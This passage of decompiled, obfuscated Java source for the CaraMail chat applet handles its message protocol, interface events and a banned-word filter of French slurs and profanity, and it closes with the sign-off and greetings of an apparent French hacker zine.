a73 = new String(stringtokenizer.nextToken());
if(a73.equals("0"))
a220.setText("Aucun connect\351 !");
if(a73.equals("1"))
a220.setText("une personne est connect\351e");
else
a220.setText(a73 + " personnes sont connect\351es");
break;
case
77: // 'M'
if(!stringtokenizer.hasMoreElements())
return false;
String s9 = new String(stringtokenizer.nextToken());
a126.addElement(new CaraTrucLine("", "", s9, "", "", "", "", "", "", "",
false));
a126.a419();
if(!a130.a517().equals("Infos CaraMail"))
a130.a514("Infos CaraMail", Color.orange);
break;
case
76: // 'L'
if(!stringtokenizer.hasMoreElements())
return false;
String s10 = new String(stringtokenizer.nextToken());
a129.addElement(new CaraTrucLine("", "", s10, "", "", "", "", "", "", "",
true));
a129.a419();
if(!a130.a517().equals(a329(a83)))
a130.a514(a329(a83), Color.orange);
break;
case
82: // 'R'
if(stringtokenizer.countTokens() != 4)
return false;
String s11 = stringtokenizer.nextToken();
String s19 = stringtokenizer.nextToken();
String s26 = stringtokenizer.nextToken();
String s30 = stringtokenizer.nextToken();
int j1 = 0;
if(s26.compareTo("0") == 0)
s26 = "F";
else
if(s26.compareTo("1") == 0)
s26 = "H";
else
s26 = "X";
if(s30.compareTo("?") == 0)
s30 = "";
for(; j1 < 20 && !s11.equals(a166[j1]); j1++);
if(j1 < 20)
{
a168[j1] = true;
a169[j1] = s19;
a170[j1] = s26;
a171[j1] = s30;
a157[j1].a425(s11, 0, s19, 3);
a157[j1].a425(s11, 0, s26, 4);
a157[j1].a425(s11, 0, s30, 5);
a157[j1].a419();
}
a129.a425(s11, 0, s19, 3);
a129.a425(s11, 0, s26, 4);
a129.a425(s11, 0, s30, 5);
a129.a419();
break;
case
90: // 'Z'
case
94: // '^'
int l = 0;
a125.a446();
while(stringtokenizer.hasMoreElements())
{
String s12 = stringtokenizer.nextToken();
String s20 = stringtokenizer.nextToken();
int i1 = a329(s12).length() + 2;
byte byte0;
if(Integer.parseInt(s20) > 9)
byte0 = 2;
else
byte0 = 1;
a125.addElement(new CaraTrucLine("", "", new String("0100" + i1 / 10 +
i1 % 10 + a329(s12) + " (01020" + byte0 + s20 + "010000)"), "", "", "",
"", "", s12, "", false));
l++;
}
a125.a419();
if(i == 90)
{
a197.enable();
if(l < 2)
a146.setText(new String(String.valueOf(l) + " salon public"));
else
a207.setText(new String(String.valueOf(l) + " salons publics"));
break;
}
a196.enable();
if(l < 2)
a146.setText(new String(String.valueOf(l) + " salon permanent"));
else
a207.setText(new String(String.valueOf(l) + " salons permanents"));
break;
case
54: // '6'
case
56: // '8'
case
58: // ':'
String as[] = {
"|", "/", "-", "\\", "|", "/", "-", "\\"
};
int j2 = 0;
String s40 = stringtokenizer.nextToken();
String s13 = "";
String s38 = "";
String s21 = "";
String s27 = "";
String s31 = "";
String s34 = "";
String s36 = "";
a124.a446();
a219.setText("Traitement des r\351sultats ");
while(stringtokenizer.hasMoreElements())
{
String s14 = "";
String s39 = "";
String s22 = "";
String s28 = "";
String s32 = "";
String s35 = "";
String s37 = "";
s14 = stringtokenizer.nextToken();
s39 = stringtokenizer.nextToken();
s22 = stringtokenizer.nextToken();
s28 = stringtokenizer.nextToken();
s32 = stringtokenizer.nextToken();
s35 = stringtokenizer.nextToken();
s37 = stringtokenizer.nextToken();
if(s32.compareTo("?") == 0)
s32 = "";
if(a101.contains(s14))
s28 = " ignor\351(e)";
else
if(s28.compareTo("0") == 0)
s28 = "F";
else
if(s28.compareTo("1") == 0)
s28 = "H";
else
s28 = "X";
String s43;
if(s37.equals("0") || s37.equals("4"))
s43 = "010000(salon " + a329(s35) + ")";
else
if(s37.equals("1") || s37.equals("5"))
{
s43 = "010200(en priv\351)";
s35 = "";
}
else
{
s43 = "010200(en priv\351)";
s35 = "";
}
switch(i)
{
case 54: // '6'
if(!s22.equals("-1"))
{
int k2 = s22.length() + 5;
String s41 = "0102";
s41 = s41 + k2 / 10 + k2 % 10;
s41 = s41 + s22 + " ans ";
s43 = s41 + s43;
}
a124.addElement(new CaraTrucLine(s14, s39, s43, s22, s28, s32, "", "com",
s35, "", false));
break;
case 56: // '8'
a124.addElement(new CaraTrucLine(s14, s39, s43, s22, s28, s32, "", "com",
s35, "", false));
break;
case 58: // ':'
if(!s32.equals(""))
{
int l2 = s32.length() + 1;
String s42 = "0102";
s42 = s42 + l2 / 10 + l2 % 10;
s42 = s42 + s32.substring(0, 1).toUpperCase() + s32.substring(1).toLowerCase()
+ " ";
s43 = s42 + s43;
}
a124.addElement(new CaraTrucLine(s14, s39, s43, s22, s28, s32, "", "com",
s35, "", false));
break;
}
if(j2 % 10 == 0)
a219.setText("Traitement des r\351sultats " + as[(j2 / 10) % 8]);
j2++;
}
switch(i)
{
case 54: // '6'
a124.a436("431");
a230.enable();
break;
case 56: // '8'
a124.a436("41");
a231.enable();
break;
case 58: // ':'
a124.a436("451");
a232.enable();
break;
}
a124.a419();
if(j2 > 0)
a219.setText(String.valueOf(j2) + " personnes correspondent aux crit\350res");
if(j2 == 1)
a219.setText(String.valueOf(j2) + " personne correspond aux crit\350res");
if(j2 == 0)
a219.setText("Aucune personne ne correspond aux crit\350res");
break;
case
101: // 'e'
a327(101);
break;
case
500:
case
555:
a327(500);
break;
}
return
true;
}
private void a327(int i)
{
if(a96
!= null && a96.isAlive())
{
a97 = false;
run = false;
a96.stop();
a96 = null;
try
{
if(in != null)
{
if(a99 != null)
a99.close();
if(in != null)
in.close();
if(out != null)
out.close();
in = null;
a99 = null;
out = null;
}
}
catch(IOException _ex) { }
}
String
s;
switch(i)
{
case
11: // '\013'
s = "010200Les param\350tres de connexion sont incorrects.";
break;
case
12: // '\f'
s = "010200Le dialogue en direct est momentan\351ment surcharg\351 ! Merci
de r\351essayer plus tard !";
break;
case
13: // '\r'
s = "010200L'administrateur du dialogue en direct vous refus\351 l'acc\350s.";
// fall through
default:
s = null;
break;
}
if(s
!= null)
{
a126.addElement(new CaraTrucLine("", "", s, "", "", "", "", "", "", "",
true));
a126.a419();
if(!a130.a517().equals("Infos CaraMail"))
{
a130.a516("Infos CaraMail");
a130.disable();
}
}
}
private String a329(String
s)
{
StringTokenizer
stringtokenizer = new StringTokenizer(s, "#");
String
s1 = stringtokenizer.nextToken();
String
s2 = stringtokenizer.nextToken();
if(s2.equals("0"))
s2 = "";
else
s2 = " " + s2;
return
s1 + s2;
}
private String a332(String
s)
{
int
i = 0;
String
s1;
for(s1
= new String(s.toLowerCase().trim()); i < s1.length();)
if(!Character.isLetterOrDigit(s1.charAt(i)))
{
String s2 = s1.substring(0, i) + s1.substring(i + 1, s1.length());
s1 = s2;
}
else
{
i++;
}
for(int
j = 0; j < a113.length; j++)
if(s1.indexOf(a113[j]) != -1)
return null;
return
s;
}
public boolean action(Event
event, Object obj)
{
if(event.target.equals(a130))
{
String s = (String)obj;
int i2;
for(i2 = 0; i2 < 20 && !a167[i2].equals(s); i2++);
if(i2 < 20)
a162[i2].requestFocus();
else
if(s.equals(a329(a83)))
a148.requestFocus();
else
if(s.equals("Connect\351(e)s"))
a283("199");
return true;
}
if(event.target.equals(a227))
{
int i = 0;
if(a130.a515(a87))
{
a130.a516(a87);
for(; i < 20 && !a167[i].equals(a87); i++);
if(i < 20)
a157[i].a419();
}
else
{
int j = a279(a86, a87);
if(j != -1)
{
a130.a507(a87, a152[j]);
a130.a516(a87);
a157[j].a419();
}
}
return true;
}
if(event.target.equals(a141))
{
if(a91)
a283("16\t" + a89);
else
a283("18\t" + a89);
a283("85");
a145.disable();
a143.disable();
a141.disable();
a147.setText("Recherche en cours ...");
return true;
}
if(event.target.equals(a143))
{
int k = 0;
if(a130.a515(a90))
{
a130.a516(a90);
for(; k < 20 && !a167[k].equals(a90); k++);
if(k < 20)
a157[k].a419();
}
else
{
int l = a279(a89, a90);
if(l != -1)
{
a130.a507(a90, a152[l]);
a130.a516(a90);
a157[l].a419();
}
}
return true;
}
if(event.target.equals(a228))
{
if(a92)
a283("16\t" + a86);
else
a283("18\t" + a86);
return true;
}
if(event.target.equals(a229))
{
a283("40\t" + a85);
return true;
}
if(event.target.equals(a199))
{
if(a88.equals(a83))
a130.a516(a329(a83));
else
a283("40\t" + a88);
return true;
}
if(event.target.equals(a201))
{
a283("255\t" + a88);
a283("90");
a199.disable();
a197.disable();
a201.disable();
a207.setText("Recherche en cours ...");
return true;
}
if(event.target.equals(a144))
{
a283("255\t" + a83);
return true;
}
if(event.target.equals(a183))
{
if(a183.getState())
{
if(a94)
a283("14\t4");
}
else
if(a94)
a283("14\t0");
return true;
}
if(event.target.equals(a149))
{
if(a149.getState())
{
int i1 = a148.getText().indexOf("> ");
if(i1 != -1)
{
a148.setText(a148.getText().substring(i1 + 2));
}
else
{
int j1 = a148.getText().indexOf(">");
if(j1 != -1)
a148.setText(a148.getText().substring(j1 + 1));
}
a146.setText("Vous \351crivez un message priv\351 destin\351 \340 " + a82);
}
else
{
a146.setText("Vous dialoguez dans le salon " + a329(a83));
}
return true;
}
if((event.target.equals(a148)
|| event.target.equals(a142)) && a148.getText().length() == 0)
{
a81 = "";
a82 = "";
a146.setText("Vous dialoguez dans le salon " + a329(a83));
a149.setState(false);
a149.disable();
return true;
}
if(event.target.equals(a196))
{
a283("94");
a196.disable();
a199.disable();
a201.disable();
a207.setText("Recherche en cours ...");
return true;
}
if(event.target.equals(a197))
{
a283("90");
a199.disable();
a197.disable();
a201.disable();
a207.setText("Recherche en cours ...");
return true;
}
if(event.target.equals(a145))
{
a283("85");
a145.disable();
a143.disable();
a141.disable();
a147.setText("Recherche en cours ...");
return true;
}
if(event.target.equals(a230))
{
int k1 = -2;
if(a237.getSelectedIndex() < 3)
k1 = a237.getSelectedIndex() - 1;
a227.disable();
a228.disable();
a229.disable();
if(k1 == -1)
a283("54\t" + a234.getSelectedIndex());
else
if(k1 == -2)
a283("54\t" + a234.getSelectedIndex() + "\t-1");
else
a283("54\t" + a234.getSelectedIndex() + "\t" + k1);
a230.disable();
a219.setText("Recherche en cours ...");
return true;
}
if(event.target.equals(a231))
{
byte byte0 = 97;
int j2 = -2;
if(a237.getSelectedIndex() < 3)
j2 = a237.getSelectedIndex() - 1;
a227.disable();
a228.disable();
a229.disable();
Character character;
if(a235.getSelectedIndex() != 0)
{
char c = (char)(97 + (a235.getSelectedIndex() - 1));
character = new Character(c);
}
else
{
char c1 = '*';
character = new Character(c1);
}
if(j2 == -1)
a283("56\t" + character.toString());
else
if(j2 == -2)
a283("56\t" + character.toString() + "\t-1");
else
a283("56\t" + character.toString() + "\t" + j2);
a231.disable();
a219.setText("Recherche en cours ...");
return true;
}
if(event.target.equals(a232))
{
int k2 = -2;
if(a237.getSelectedIndex() < 3)
k2 = a237.getSelectedIndex() - 1;
a227.disable();
a228.disable();
a229.disable();
Character character1;
if(a236.getSelectedIndex() != 0)
{
char c2 = (char)(97 + (a236.getSelectedIndex() - 1));
character1 = new Character(c2);
}
else
{
char c3 = '*';
character1 = new Character(c3);
}
if(k2 == -1)
a283("58\t" + character1.toString());
else
if(k2 == -2)
a283("58\t" + character1.toString() + "\t-1");
else
a283("58\t" + character1.toString() + "\t" + k2);
a232.disable();
a219.setText("Recherche en cours ...");
return true;
}
if((event.target.equals(a208)
|| event.target.equals(a198)) && a208.getText().length() > 0)
{
String s1 = "";
if(a202[0].getState())
s1 = s1 + "40\t";
else
s1 = s1 + "42\t";
if(a332(a208.getText()) != null)
{
s1 = s1 + a208.getText();
a283(s1);
}
a208.setText("");
a208.requestFocus();
return true;
}
if((event.target.equals(a209)
|| event.target.equals(a200)) && a209.getText().length() > 0)
{
String s2 = "";
s2 = s2 + "42\t";
if(a332(a209.getText()) != null)
{
s2 = s2 + a209.getText();
a283(s2);
}
a209.setText("");
a209.requestFocus();
return true;
}
if((event.target.equals(a180)
|| event.target.equals(a182)) && a180.getText().length() > 0)
{
String s3 = "";
s3 = s3 + "77\t";
s3 = s3 + "CARAMAIL> " + a180.getText();
a180.setText("");
a283(s3);
return true;
}
if((event.target.equals(a148)
|| event.target.equals(a142)) && a148.getText().length() > 0)
{
String s4 = a148.getText().trim();
String s5 = "";
if(s4.length() > 192)
s4 = s4.substring(0, 192).trim();
if(!a149.getState())
{
s5 = s5 + "70\t";
}
else
{
s5 = s5 + "72\t";
s5 = s5 + a81 + "\t";
}
switch(a151.getSelectedIndex())
{
case 0: // '\0'
s5 = s5 + "01";
break;
case 1: // '\001'
s5 = s5 + "00";
break;
case 2: // '\002'
s5 = s5 + "02";
break;
}
switch(a150.getSelectedIndex())
{
case 0: // '\0'
s5 = s5 + "00";
break;
case 1: // '\001'
s5 = s5 + "01";
break;
case 2: // '\002'
s5 = s5 + "02";
break;
case 3: // '\003'
s5 = s5 + "03";
break;
case 4: // '\004'
s5 = s5 + "04";
break;
case 5: // '\005'
s5 = s5 + "05";
break;
case 6: // '\006'
s5 = s5 + "06";
break;
case 7: // '\007'
s5 = s5 + "07";
break;
case 8: // '\b'
s5 = s5 + "08";
break;
case 9: // '\t'
s5 = s5 + "09";
break;
case 10: // '\n'
s5 = s5 + "10";
break;
}
s5 = s5 + "00" + s4;
if(s4.length() > 0)
a283(s5);
a146.setText("Vous dialoguez dans le salon " + a329(a83));
a148.setText("");
a148.requestFocus();
a81 = "";
a82 = "";
a149.setState(false);
a149.disable();
return true;
}
for(int
l1 = 0; l1 < 20; l1++)
if(!a166[l1].equals(""))
{
if((event.target.equals(a162[l1]) || event.target.equals(a160[l1])) &&
a162[l1].getText().length() > 0)
{
String s6 = a162[l1].getText().trim();
String s7 = "";
if(s6.length() > 192)
s6 = s6.substring(0, 192).trim();
s7 = s7 + "72\t";
s7 = s7 + a166[l1] + "\t";
switch(a164[l1].getSelectedIndex())
{
case 0: // '\0'
s7 = s7 + "01";
break;
case 1: // '\001'
s7 = s7 + "00";
break;
case 2: // '\002'
s7 = s7 + "02";
break;
}
switch(a163[l1].getSelectedIndex())
{
case 0: // '\0'
s7 = s7 + "00";
break;
case 1: // '\001'
s7 = s7 + "01";
break;
case 2: // '\002'
s7 = s7 + "02";
break;
case 3: // '\003'
s7 = s7 + "03";
break;
case 4: // '\004'
s7 = s7 + "04";
break;
case 5: // '\005'
s7 = s7 + "05";
break;
case 6: // '\006'
s7 = s7 + "06";
break;
case 7: // '\007'
s7 = s7 + "07";
break;
case 8: // '\b'
s7 = s7 + "08";
break;
case 9: // '\t'
s7 = s7 + "09";
break;
case 10: // '\n'
s7 = s7 + "10";
break;
}
s7 = s7 + "00" + s6;
if(s6.length() > 0)
a283(s7);
a162[l1].setText("");
a162[l1].requestFocus();
return true;
}
if(event.target.equals(a159[l1]))
{
a283("16\t" + a166[l1]);
a130.a510(a167[l1]);
a130.a516(a329(a83));
a283("85");
a145.disable();
a143.disable();
a141.disable();
a147.setText("Recherche en cours ...");
a276(l1);
a148.requestFocus();
return true;
}
if(event.target.equals(a165[l1]))
{
a130.a510(a167[l1]);
a130.a516(a329(a83));
a276(l1);
a148.requestFocus();
return true;
}
if(event.target.equals(a161[l1]))
{
a283("555\t" + a166[l1]);
a130.a510(a167[l1]);
a130.a516(a329(a83));
a276(l1);
a148.requestFocus();
return true;
}
}
return
super.action(event, obj);
}
public void destroy()
{
a327(0);
}
public boolean handleEvent(Event
event)
{
if(event.target
== a137)
{
switch(event.id)
{
case 601: // Event.SCROLL_LINE_UP
case 602: // Event.SCROLL_LINE_DOWN
case 603: // Event.SCROLL_PAGE_UP
case 604: // Event.SCROLL_PAGE_DOWN
case 605: // Event.SCROLL_ABSOLUTE
a129.a410();
break;
}
return true;
}
if(event.target
== a138)
{
switch(event.id)
{
case 601: // Event.SCROLL_LINE_UP
case 602: // Event.SCROLL_LINE_DOWN
case 603: // Event.SCROLL_PAGE_UP
case 604: // Event.SCROLL_PAGE_DOWN
case 605: // Event.SCROLL_ABSOLUTE
a128.a410();
break;
}
return true;
}
if(event.target
== a172)
{
switch(event.id)
{
case 601: // Event.SCROLL_LINE_UP
case 602: // Event.SCROLL_LINE_DOWN
case 603: // Event.SCROLL_PAGE_UP
case 604: // Event.SCROLL_PAGE_DOWN
case 605: // Event.SCROLL_ABSOLUTE
a126.a410();
break;
}
return true;
}
if(event.target
== a173)
{
switch(event.id)
{
case 601: // Event.SCROLL_LINE_UP
case 602: // Event.SCROLL_LINE_DOWN
case 603: // Event.SCROLL_PAGE_UP
case 604: // Event.SCROLL_PAGE_DOWN
case 605: // Event.SCROLL_ABSOLUTE
a127.a410();
break;
}
return true;
}
if(event.target
== a226)
{
switch(event.id)
{
case 601: // Event.SCROLL_LINE_UP
case 602: // Event.SCROLL_LINE_DOWN
case 603: // Event.SCROLL_PAGE_UP
case 604: // Event.SCROLL_PAGE_DOWN
case 605: // Event.SCROLL_ABSOLUTE
a124.a410();
break;
}
return true;
}
if(event.target
== a195)
{
switch(event.id)
{
case 601: // Event.SCROLL_LINE_UP
case 602: // Event.SCROLL_LINE_DOWN
case 603: // Event.SCROLL_PAGE_UP
case 604: // Event.SCROLL_PAGE_DOWN
case 605: // Event.SCROLL_ABSOLUTE
a125.a410();
break;
}
return true;
}
if(event.target
== a124)
{
CaraTrucLine caratrucline = a124.a433();
if(caratrucline != null)
if(caratrucline.a465(0).equals(a79))
{
a229.disable();
a228.disable();
a227.disable();
a92 = false;
}
else
{
a86 = caratrucline.a465(0);
a87 = caratrucline.a465(1);
a85 = caratrucline.a465(8);
if(!a85.equals(""))
a229.enable();
else
a229.disable();
a228.enable();
if(a101.contains(a86))
{
a228.setLabel("Autoriser");
a227.disable();
a92 = false;
}
else
{
a228.setLabel("Ignorer");
a227.enable();
a92 = true;
}
a228.enable();
}
return true;
}
if(event.target
== a125)
{
CaraTrucLine caratrucline1 = a125.a433();
if(caratrucline1 != null)
{
a88 = caratrucline1.a465(8);
a199.enable();
a201.enable();
}
return true;
}
if(event.target
== a129)
{
CaraTrucLine caratrucline2 = a129.a431();
if(caratrucline2 != null && !caratrucline2.a465(0).equals(a79))
{
a82 = caratrucline2.a465(1);
a81 = caratrucline2.a465(0);
a149.enable();
a149.setState(false);
int j = a148.getText().indexOf("> ");
if(j != -1)
{
a148.setText(a82 + "> " + a148.getText().substring(j + 2));
}
else
{
int k = a148.getText().indexOf(">");
if(k != -1)
a148.setText(a82 + "> " + a148.getText().substring(k + 1));
else
a148.setText(a82 + "> ");
}
a148.requestFocus();
a148.select(a148.getText().length(), a148.getText().length());
}
return true;
}
if(event.target
== a128)
{
CaraTrucLine caratrucline3 = a128.a433();
if(caratrucline3 != null)
{
a89 = caratrucline3.a465(0);
a90 = caratrucline3.a465(1);
if(!a89.equals(a79))
{
a143.enable();
a141.enable();
if(a101.contains(a89))
{
a141.setLabel("Autoriser");
a91 = false;
}
else
{
a141.setLabel("Ignorer");
a91 = true;
}
}
else
{
a143.disable();
a141.disable();
}
}
return true;
}
for(int
i = 0; i < 20; i++)
if(event.target == a156[i])
{
switch(event.id)
{
case 601: // Event.SCROLL_LINE_UP
case 602: // Event.SCROLL_LINE_DOWN
case 603: // Event.SCROLL_PAGE_UP
case 604: // Event.SCROLL_PAGE_DOWN
case 605: // Event.SCROLL_ABSOLUTE
a157[i].a410();
break;
}
return true;
}
return
super.handleEvent(event);
}
public void init()
{
a238();
a93
= false;
a101
= new Vector(10, 5);
try
{
a239();
}
catch(Exception
exception)
{
exception.printStackTrace();
}
a149.disable();
a145.disable();
a141.disable();
a143.disable();
a199.disable();
a201.disable();
a227.disable();
a228.disable();
a229.disable();
}
public Insets insets()
{
return
insets;
}
public void run()
{
Object
obj = null;
boolean
flag = false;
int
j = 0;
char
ac[] = new char[0x30d40];
while(run)
{
int i;
try
{
i = in.read();
a102 = new Date(System.currentTimeMillis());
if(a102.getTime() - a104 > 30000L && a79.compareTo("") != 0)
{
a104 = a102.getTime();
a283("999");
}
}
catch(IOException _ex)
{
i = -1;
System.err.println("erreur");
}
if(i == -1)
{
if(a93)
{
a283("666");
if(!a292())
a327(0);
}
else
if(!a298())
a327(0);
}
else
{
if(j < 0x30d40)
{
if(i != 10)
{
ac[j] = (char)i;
j++;
}
}
else
{
j = 0;
}
if(i == 10)
{
a299(new String(ac, 0, j) + "\n");
j = 0;
}
}
}
}
public void start()
{
if(a97)
return;
if(a297()
&& (a96 == null || !a96.isAlive()))
{
a96 = new Thread(this);
a96.start();
a97 = true;
}
}
public void stop()
{
}
public void update(Graphics
g)
{
paint(g);
}
private final int a53 = 0;
private final int a54 = 1;
private final int a55 = 2;
private static final int a56
= 6666;
private static final int a57
= 80;
private static final String
a58 = "divers";
private static final int a59
= 192;
private static final int a60
= 30;
private static final int a61
= 0x30d40;
private static final int a62
= 50;
private static final long
a63 = 0x927c0L;
private static final int a64
= 0;
private static final int a65
= 3;
private static final int a66
= 4;
private static final int a67
= 5;
private static final int a68
= 8;
private static final int a69
= 1;
private int a70;
private int a71;
private int a72;
private String a73;
private String a74;
private String a75;
private String a76;
private String a77;
private String a78;
private String a79;
private String a80;
private String a81;
private String a82;
private String a83;
private String a84;
private String a85;
private String a86;
private String a87;
private String a88;
private String a89;
private String a90;
private boolean a91;
private boolean a92;
private boolean a93;
private boolean a94;
private boolean a95;
private boolean run;
private Thread a96;
private boolean a97;
private boolean a98;
private Socket a99;
private String a100;
private PrintStream out;
private InputStream in;
private Vector a101;
private Date a102;
private int a103;
private long a104;
private static final String
a105 = "com";
private static final int PUBLIC
= 0;
private static final int a106
= 1;
private static final int a107
= 99;
private static final int a108
= 182;
private static final int a109
= 198;
private static final int a110
= 202;
private String a111;
private String a112[] = {
"Autres...",
"5-10 ans", "10-15 ans", "15-20 ans", "20-25 ans", "25-30 ans", "30-40
ans", "40-50 ans", "50-60 ans", "60-70 ans",
"70
et plus"
};
private String a113[] = {
"juif",
"youpin", "arabe", "bougn", "reubeu", "salop", "pute", "\351jacul", "ejacul",
"tjf",
"encul",
"partouz", "raci", "race", "zoophi", "incest", "anal", "tortur", "bite",
"antisemit",
"couil",
"scato", "rasis", "x\351nopho", "xenopho", "sperm", "chatt", "cul", "bitte",
"pip",
"caca",
"pip", "shit", "ganja", "mort", "suicid", "drogu"
};
private final int a114 = 40;
private final int a115 = 40;
private final int a116 = 2000;
private final int a117 = 20;
private final int a118 = 40;
private final boolean a119
= true;
private final boolean a120
= true;
private final boolean a121
= false;
private final boolean a122
= false;
private final boolean a123
= false;
private CaraTrucCanvas a124;
private CaraTrucCanvas a125;
private CaraTrucCanvas a126;
private CaraTrucCanvas a127;
private CaraTrucCanvas a128;
private CaraTrucCanvas a129;
private CaraTrucOnglet a130;
protected Insets insets;
private Panel a131;
private Panel a132;
private Panel a133;
private Panel a134;
private Panel a135;
private Panel a136;
private LightScrollbar a137;
private LightScrollbar a138;
private CaraLabelPanel a139;
private CaraLabelPanel a140;
private Button a141;
private Button a142;
private Button a143;
private Button a144;
private Button a145;
private Label a146;
private Label a147;
private TextField a148;
private Checkbox a149;
private Choice a150;
private Choice a151;
private Panel a152[];
private Panel a153[];
private Panel a154[];
private Panel a155[];
private LightScrollbar a156[];
private CaraTrucCanvas a157[];
private CaraLabelPanel a158[];
private Button a159[];
private Button a160[];
private Button a161[];
private TextField a162[];
private Choice a163[];
private Choice a164[];
private Button a165[];
private String a166[];
private String a167[];
private boolean a168[];
private String a169[];
private String a170[];
private String a171[];
private LightScrollbar a172;
private LightScrollbar a173;
private CaraLabelPanel a174;
private CaraLabelPanel a175;
private Panel a176;
private Panel a177;
private Panel a178;
private Panel a179;
private TextField a180;
private Label a181;
private Button a182;
private Checkbox a183;
private Panel a184;
private Panel a185;
private Panel a186;
private Panel a187;
private Panel a188;
private Panel a189;
private Panel a190;
private Panel a191;
private CaraLabelPanel a192;
private CaraLabelPanel a193;
private CaraLabelPanel a194;
private LightScrollbar a195;
private Button a196;
private Button a197;
private Button a198;
private Button a199;
private Button a200;
private Button a201;
private Checkbox a202[];
private CheckboxGroup a203;
private Label a204;
private Label a205;
private Label a206;
private Label a207;
private TextField a208;
private TextField a209;
private Panel a210;
private Panel a211;
private Panel a212;
private Panel a213;
private Panel a214;
private Panel a215;
private Panel a216;
private CaraLabelPanel a217;
private CaraLabelPanel a218;
private Label a219;
private Label a220;
private Label a221;
private Label a222;
private Label a223;
private Label a224;
private Label a225;
private LightScrollbar a226;
private Button a227;
private Button a228;
private Button a229;
private Button a230;
private Button a231;
private Button a232;
private TextField a233;
private Choice a234;
private Choice a235;
private Choice a236;
private Choice a237;
}
ScreenShots (Note de Clad: bon eh euh j'en mets pas 40, 4 ou 5 ça suffira...)
Voilà, le zine est fini. ACiD et moi espérons qu'il vous aura plu!
Les Greetz à Clad Strife, greetz to:
H117, J117, facker, Bond, decayer, ACiD, Thorgal, Leonard, Leon Scott,
Tobozo, Aiki, PIN, Janus pis les otres lamahs...
A+